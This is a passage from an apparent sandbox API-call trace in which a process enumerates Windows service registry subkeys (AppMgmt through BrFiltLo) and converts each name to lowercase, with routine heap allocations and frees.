lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0175.928] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.928] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.928] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.928] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.928] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0175.928] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.928] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0175.929] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.929] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.929] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.929] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.929] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0175.929] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0175.929] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0175.929] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.929] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.929] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.929] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.929] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0175.929] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0175.929] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0175.929] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.929] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.929] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.929] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.929] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0175.929] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.929] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0175.929] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.929] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.929] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.929] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.929] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0175.929] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0175.930] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1a90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0175.930] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.930] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.930] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.930] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.930] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0175.930] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0175.930] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1d18, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0175.930] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.930] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.930] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.930] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.930] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0175.930] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.930] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0175.930] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.930] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.930] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.930] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.930] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0175.930] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0175.930] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0175.930] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.930] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.930] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.930] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.930] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0175.930] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0175.931] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1a90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0175.931] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.931] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.931] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.931] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.931] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0175.931] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.931] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0175.931] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.931] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.931] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.931] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.931] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0175.931] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.931] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0175.931] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.931] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.931] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.931] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.931] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0175.931] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.931] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0175.931] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.931] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.931] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.931] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.931] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0175.932] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.932] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.932] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.932] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0175.932] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.932] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.932] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.932] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.932] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0175.932] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.932] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0175.932] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.932] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0175.932] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.932] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.932] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.932] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.932] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0175.932] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.932] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0175.932] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.932] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0175.932] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.932] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.932] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.932] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.932] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0175.932] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.932] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0175.932] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.932] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0175.932] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.932] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.932] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.933] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.933] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0175.933] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0175.933] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0175.933] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.933] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.933] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.933] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.933] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0175.933] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0175.933] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0175.933] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.933] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.933] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.933] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.933] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0175.933] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.933] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0175.933] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.933] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.933] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.933] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.933] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0175.933] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0175.933] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0175.934] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.934] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.934] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.934] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.934] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0175.934] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, 